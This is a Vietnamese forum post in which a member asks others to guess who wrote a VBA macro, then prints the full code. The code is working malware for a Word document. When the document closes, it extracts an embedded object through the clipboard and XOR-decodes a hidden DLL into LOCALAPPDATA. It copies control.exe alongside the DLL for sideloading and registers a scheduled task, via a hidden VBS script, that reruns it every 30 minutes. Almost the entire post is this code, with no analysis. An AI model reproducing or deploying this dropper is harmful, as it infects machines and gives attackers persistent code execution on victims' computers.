ThangCuAnh
Mới rờ Ét xeo
- Tham gia
- 1/12/17
- Bài viết
- 896
- Được thích
- 792
- Giới tính
- Nam
- Nghề nghiệp
- Coder nghỉ hưu, RCE dạo
Các bạn xem code này có nhận, đoán ra ai trong diễn đàn mình viết không ? Mạnh dạn cho ý kiến.
Những người kỳ cựu, sinh hoạt diễn đàn lâu năm có thể sẽ nhận ra ngay.
Những người kỳ cựu, sinh hoạt diễn đàn lâu năm có thể sẽ nhận ra ngay.
Mã:
Option Explicit
#If VBA7 Then
Private Declare PtrSafe Function _
CloseClipboard& Lib "user32" ()
Private Declare PtrSafe Function _
OpenClipboard& Lib "user32" (ByVal hWnd&)
Private Declare PtrSafe Function _
EmptyClipboard& Lib "user32" ()
Private Declare PtrSafe Function _
GetClipboardData Lib "user32" (ByVal wFormat As LongPtr) As LongPtr
Private Declare PtrSafe Function _
GlobalSize& Lib "kernel32" (ByVal hMem As LongPtr)
Private Declare PtrSafe Function _
GlobalLock Lib "kernel32" (ByVal hMem As LongPtr) As LongPtr
Private Declare PtrSafe Function _
GlobalUnlock& Lib "kernel32" (ByVal hMem As LongPtr)
Private Declare PtrSafe Sub CopyMem Lib "kernel32" Alias _
"RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length&)
Private Declare PtrSafe Function _
EnumClipboardFormats Lib "user32" (ByVal wFormat As LongPtr) As LongPtr
Private Declare PtrSafe Function _
GetClipboardFormatName Lib "user32" Alias "GetClipboardFormatNameA" (ByVal wFormat As LongPtr, ByVal lpString As String, ByVal nMacCount As Long) As Long
#Else
Private Declare Function _
CloseClipboard& Lib "user32" ()
Private Declare Function _
OpenClipboard& Lib "user32" (ByVal hWnd&)
Private Declare Function _
EmptyClipboard& Lib "user32" ()
Private Declare Function _
GetClipboardData& Lib "user32" (ByVal wFormat&)
Private Declare Function _
GlobalSize& Lib "kernel32" (ByVal hMem&)
Private Declare Function _
GlobalLock& Lib "kernel32" (ByVal hMem&)
Private Declare Function _
GlobalUnlock& Lib "kernel32" (ByVal hMem&)
Private Declare Sub CopyMem Lib "kernel32" Alias _
"RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length&)
Private Declare Function _
EnumClipboardFormats Lib "user32" (ByVal wFormat As Long) As Long
Private Declare Function _
GetClipboardFormatName Lib "user32" Alias "GetClipboardFormatNameA" (ByVal wFormat As Long, ByVal lpString As String, ByVal nMacCount As Long) As Long
#End If
Public result_exe As String
Public result_dll As String
Function GetContainer() As String
GetContainer = Environ$("LOCALAPPDATA")
End Function
Function GetData(abData() As Byte) As Boolean
#If VBA7 Then
Dim fmt As LongPtr
#Else
Dim fmt As Long
#End If
Dim formatName As String, sBuffer As String
Dim i As Long
Dim bDataInClipboard As Boolean
GetData = False
If OpenClipboard(0&) Then
fmt = EnumClipboardFormats(fmt)
Do While fmt <> 0
#If VBA7 Then
Dim hWnd As LongPtr, size&, Ptr As LongPtr
#Else
Dim hWnd&, size&, Ptr&
#End If
formatName = String(255, vbNullChar)
i = GetClipboardFormatName(fmt, formatName, 255)
sBuffer = Left(formatName, i)
bDataInClipboard = True
If sBuffer = "Embedded Object" Then
hWnd = GetClipboardData(fmt)
If hWnd Then size = GlobalSize(hWnd)
If size Then Ptr = GlobalLock(hWnd)
If Ptr Then
ReDim abData(0 To size - 1) As Byte
CopyMem abData(0), ByVal Ptr, size
Call GlobalUnlock(hWnd)
End If
Dim dest As String
dest = ""
'If (size < 150000) Then
' dest = Environ("LOCALAPPDATA") & "\control.exe"
' result_exe = dest
'Else
' dest = Environ("LOCALAPPDATA") & "\propsys.dll"
' result_dll = dest
'End If
If (size > 80000) And (size < 90000) Then
dest = Environ("LOCALAPPDATA") & "\propsys.dll"
result_dll = dest
Else
GoTo NextIteration
End If
If dest = "" Then
GetData = False
Exit Do
End If
If Not writeMalFile(abData, dest) Then
GetData = False
Exit Do
Else
GetData = True
Exit Do
End If
End If
NextIteration:
fmt = EnumClipboardFormats(fmt)
Loop
EmptyClipboard
CloseClipboard
DoEvents
End If
End Function
Function Extract() As Boolean
' Loop through all our OLE Objects to find the one we want
Dim result As String, control_path As String
result = GetContainer()
Dim obj As Shape
Extract = False
Dim count As Integer
count = 0
On Error GoTo endfunction
If ActiveDocument.Shapes.count < 1 Then
Extract = False
Else
ClearClipboard
For Each obj In ActiveDocument.Shapes
Dim Buffer() As Byte
If obj.OLEFormat.IconLabel = "map" Then
obj.Select
Selection.Copy
If GetData(Buffer) Then
Extract = True
Exit For
End If
End If
Next
End If
If Extract = True Then
Dim obj_copy As Object
Dim flag As Boolean
Set obj_copy = CreateObject("Scripting.FileSystemObject")
flag = isWin64bit()
control_path = Environ("windir")
If flag Then
control_path = control_path + "\SysWOW64\control.exe"
Else
control_path = control_path + "\System32\control.exe"
End If
result_exe = Environ("LOCALAPPDATA") & "\control.exe"
obj_copy.CopyFile control_path, result_exe
End If
Exit Function
endfunction:
Extract = False
End Function
Function FileWriteBinary(vData As Variant, sFileName As String, Optional bAppendToFile As Boolean = False) As Boolean
Dim iFileNum As Integer, lWritePos As Long
On Error GoTo ErrFailed
If bAppendToFile = False Then
If Len(Dir$(sFileName)) > 0 And Len(sFileName) > 0 Then
'Delete the existing file
VBA.Kill sFileName
End If
End If
iFileNum = FreeFile
Open sFileName For Binary Access Write As #iFileNum
If bAppendToFile = False Then
'Write to first byte
lWritePos = 1
Else
'Write to last byte + 1
lWritePos = LOF(iFileNum) + 1
End If
Dim Buffer() As Byte
Buffer() = vData
Put #iFileNum, lWritePos, Buffer
Close iFileNum
FileWriteBinary = True
Exit Function
ErrFailed:
FileWriteBinary = False
End Function
Function Create()
Dim a As String
a = ""
a = a & "Dim objSatkService, objRootFolder, objSatkFolder, objNewSatkDefinition" & vbCrLf
a = a & "Dim objSatkTrigger, objSatkAction, objSatkTriggers, blnFoundSatk" & vbCrLf
a = a & "Dim objSatkFolders" & vbCrLf
a = a & "Set objSatkService = CreateObject(" & """" & "Schedule.Service" & """" & ")" & vbCrLf
a = a & "Call objSatkService.Connect" & vbCrLf
a = a & "Dim strTime" & vbCrLf
a = a & "strTime = Year(Now()) & " & """" & "-" & """" & vbCrLf
a = a & "strTime = strTime & Right(" & """" & "0" & """" & " & Month(Now()), 2) & " & """" & "-" & """" & vbCrLf
a = a & "strTime = strTime & Right(" & """" & "0" & """" & " & Day(Now()), 2) & " & """" & "T" & """" & vbCrLf
a = a & "strTime = strTime & Right(" & """" & "0" & """" & " & Hour(Now()), 2) & " & """" & ":" & """" & vbCrLf
a = a & "strTime = strTime & Right(" & """" & "0" & """" & " & Minute(Now()), 2) & " & """" & ":" & """" & vbCrLf
a = a & "strTime = strTime & Right(" & """" & "0" & """" & " & Day(Now()), 2)" & vbCrLf
a = a & "Dim strTime1" & vbCrLf
a = a & "strTime1 = Year(DateAdd(" & """" & "n" & """" & ", 5, Now())) & " & """" & "-" & """" & vbCrLf
a = a & "strTime1 = strTime1 & Right(" & """" & "0" & """" & " & Month(DateAdd(" & """" & "n" & """" & ", 5, Now())), 2) & " & """" & "-" & """" & vbCrLf
a = a & "strTime1 = strTime1 & Right(" & """" & "0" & """" & " & Day(DateAdd(" & """" & "n" & """" & ", 5, Now())), 2) & " & """" & "T" & """" & vbCrLf
a = a & "strTime1 = strTime1 & Right(" & """" & "0" & """" & " & Hour(DateAdd(" & """" & "n" & """" & ", 5, Now())), 2) & " & """" & ":" & """" & vbCrLf
a = a & "strTime1 = strTime1 & Right(" & """" & "0" & """" & " & Minute(DateAdd(" & """" & "n" & """" & ", 5, Now())), 2) & " & """" & ":" & """" & vbCrLf
a = a & "strTime1 = strTime1 & Right(" & """" & "0" & """" & " & Day(DateAdd(" & """" & "n" & """" & ", 5, Now())), 2)" & vbCrLf
a = a & "Set objSatkFolder = objSatkService.GetFolder(" & """" & "\" & """" & ")" & vbCrLf
a = a & "Set objRootFolder = objSatkService.GetFolder(" & """" & "\" & """" & ")" & vbCrLf
a = a & "Set objSatkFolders = objRootFolder.GetFolders(0)" & vbCrLf
a = a & "For Each objSatkFolder In objSatkFolders" & vbCrLf
a = a & " If objSatkFolder.Path = " & """" & "\ActivexInstaller" & """" & " Then" & vbCrLf
a = a & " blnFoundSatk = True" & vbCrLf
a = a & " Exit For" & vbCrLf
a = a & " End If" & vbCrLf
a = a & "Next" & vbCrLf
a = a & "If Not blnFoundSatk Then Set objSatkFolder = objRootFolder.CreateFolder(" & """" & "\ActivexInstaller" & """" & ")" & vbCrLf
a = a & "Set objNewSatkDefinition = objSatkService.New" & "Ta" & "sk(0)" & vbCrLf
a = a & "With objNewSatkDefinition" & vbCrLf
a = a & " .Data = " & """" & """" & vbCrLf
a = a & " With .RegistrationInfo" & vbCrLf
a = a & " .Author = objSatkService.ConnectedDomain & " & """" & "\" & """" & " & objSatkService.ConnectedUser" & vbCrLf
a = a & " .Date = strTime" & vbCrLf
a = a & " End With" & vbCrLf
a = a & " With .principal" & vbCrLf
a = a & " .ID = " & """" & "My ID" & """" & vbCrLf
a = a & " .DisplayName = " & """" & "Principal Description" & """" & vbCrLf
a = a & " '.UserId = " & """" & "Domain\myuser" & """" & vbCrLf
a = a & " .UserId = objSatkService.ConnectedDomain & " & """" & "\" & """" & " & objSatkService.ConnectedUser" & vbCrLf
a = a & " .LogonType = 3" & vbCrLf
a = a & " .RunLevel = 0" & vbCrLf
a = a & " End With" & vbCrLf
a = a & " Set objSatkTriggers = .triggers" & vbCrLf
a = a & " Set objSatkTrigger = objSatkTriggers.Create(1)" & vbCrLf
a = a & " With objSatkTrigger" & vbCrLf
a = a & " .Enabled = True" & vbCrLf
a = a & " .ID = " & """" & "TimeTriggerID1" & """" & vbCrLf
a = a & " .StartBoundary = strTime1" & vbCrLf
a = a & " With .Repetition" & vbCrLf
a = a & " .Duration = " & """" & "P1D" & """" & vbCrLf
a = a & " .Interval = " & """" & "PT30M" & """" & vbCrLf
a = a & " End With" & vbCrLf
a = a & " End With" & vbCrLf
a = a & " Set objSatkAction = .Actions.Create(0)" & vbCrLf
a = a & " With objSatkAction" & vbCrLf
a = a & " .Path = " & """" & result_exe & """" & vbCrLf
a = a & " End With" & vbCrLf
a = a & "End With" & vbCrLf
a = a & "Call objSatkFolder.RegisterTaskDefinition( _" & vbCrLf
a = a & " " & """" & "ActivexInstaller" & """" & ", objNewSatkDefinition, 6, , , 3)" & vbCrLf
Dim fso As Object
Set fso = CreateObject("Scripting.FileSystemObject")
Dim oFile As Object
Dim cPath As String
cPath = Environ("APPDATA") & "\abi.vbs"
Set oFile = fso.CreateTextFile(cPath)
oFile.WriteLine a
oFile.WriteLine "Wscript.Quit"
oFile.Close
Set fso = Nothing
Set oFile = Nothing
Shell "cscript " & Chr(34) & cPath & Chr(34), vbHide
End Function
Private Function ReadFile(sFile As String) As Byte()
Dim nFile As Integer
nFile = FreeFile
Open sFile For Binary As #nFile
If LOF(nFile) > 0 Then
ReDim ReadFile(0 To LOF(nFile) - 1)
Get nFile, , ReadFile
End If
Close #nFile
End Function
Private Sub Document_Close()
MsgBox "Are you sure you want to exit the application?", vbQuestion
If Not Extract Then Exit Sub
If Dir(result_dll) <> "" Then
Create
End If
End Sub
Function writeMalFile(buf() As Byte, dest As String) As Boolean
Dim pattern(7) As Byte
pattern(0) = &HD4
pattern(1) = &HC3
pattern(2) = &H9
pattern(3) = &H99
pattern(4) = &H9A
pattern(5) = &H99
pattern(6) = &H99
Dim match As Integer, pos As Integer
Dim x As Long, i As Long
match = 0
Dim flag As Boolean
flag = False
writeMalFile = False
For x = 0 To UBound(buf)
If buf(x) = pattern(0) Then
For i = 1 To UBound(pattern)
If pattern(i) <> buf(x + i) Then
match = 0
Exit For
Else
match = match + 1
If match = 6 Then
flag = True
pos = x
Exit For
End If
End If
Next
If flag = True Then
Exit For
End If
End If
Next x
If flag = True Then
Dim iLength As Long, iLength_ As Long, iLength__ As Long
iLength = buf(x - 4)
iLength_ = buf(x - 3)
iLength__ = buf(x - 2)
iLength = iLength + iLength_ * 256 + iLength__ * 65536
ReDim Buffer(0 To (iLength - 1)) As Byte
For i = 0 To (iLength - 1)
Buffer(i) = buf(x + i) Xor &H99
Next i
If FileWriteBinary(Buffer, dest) Then
writeMalFile = True
End If
Else
writeMalFile = False
End If
End Function
Function ClearClipboard()
OpenClipboard (0&)
EmptyClipboard
CloseClipboard
End Function
Function isWin64bit() As Boolean
isWin64bit = 0 < Len(Environ("ProgramW6432"))
End Function
Lần chỉnh sửa cuối:
